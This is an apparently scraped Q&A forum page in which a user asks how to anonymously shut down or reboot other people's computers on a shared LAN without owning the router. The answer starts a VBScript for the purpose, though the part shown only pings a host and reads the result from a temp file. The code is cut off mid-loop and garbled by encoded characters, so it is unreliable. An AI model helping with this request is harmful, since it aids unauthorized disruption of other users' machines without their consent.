Shutdown or reboot other computers on the LAN anonymously.?

Im a user on a LAN but im not the owner of the router, any idea on how to shutdown or reboot other users' computers on the same LAN network?

Shutdown or reboot other computers on the LAN anonymously.?viruses

Type the following code into a text editor such as Notepad (making sure to have Word Wrap disabled) and save it with a .vbs extension:

function Ping(byval strName)

dim objFSO, objShell, objTempFile, objTS

dim sCommand, sReadLine

dim bReturn

set objShell = WScript.CreateObject("Wscript.Shell")

set objFSO = CreateObject("Scripting.FileSystemObject...

'Set default return value

bReturn = false

'Create command line to ping and save results to a temp file

sCommand = "cmd /c ping.exe -n 3 -w 1000 " %26 strName %26 " %26gt; C:\temp.txt"

'Execute the command

objShell.run sCommand, 0, true

'Get the temp file

set objTempFile = objFSO.GetFile("C:\temp.txt")

set objTS = objTempFile.OpenAsTextStream(1)

'Loop through the temp file to see if "reply from" is found,

'if it is then the ping was successful

do while objTs.AtEndOfStream %26lt;%26gt; true

sReadLine = objTs.ReadLine

if instr(lcase(sReadLine), "reply from") %26gt; 0 then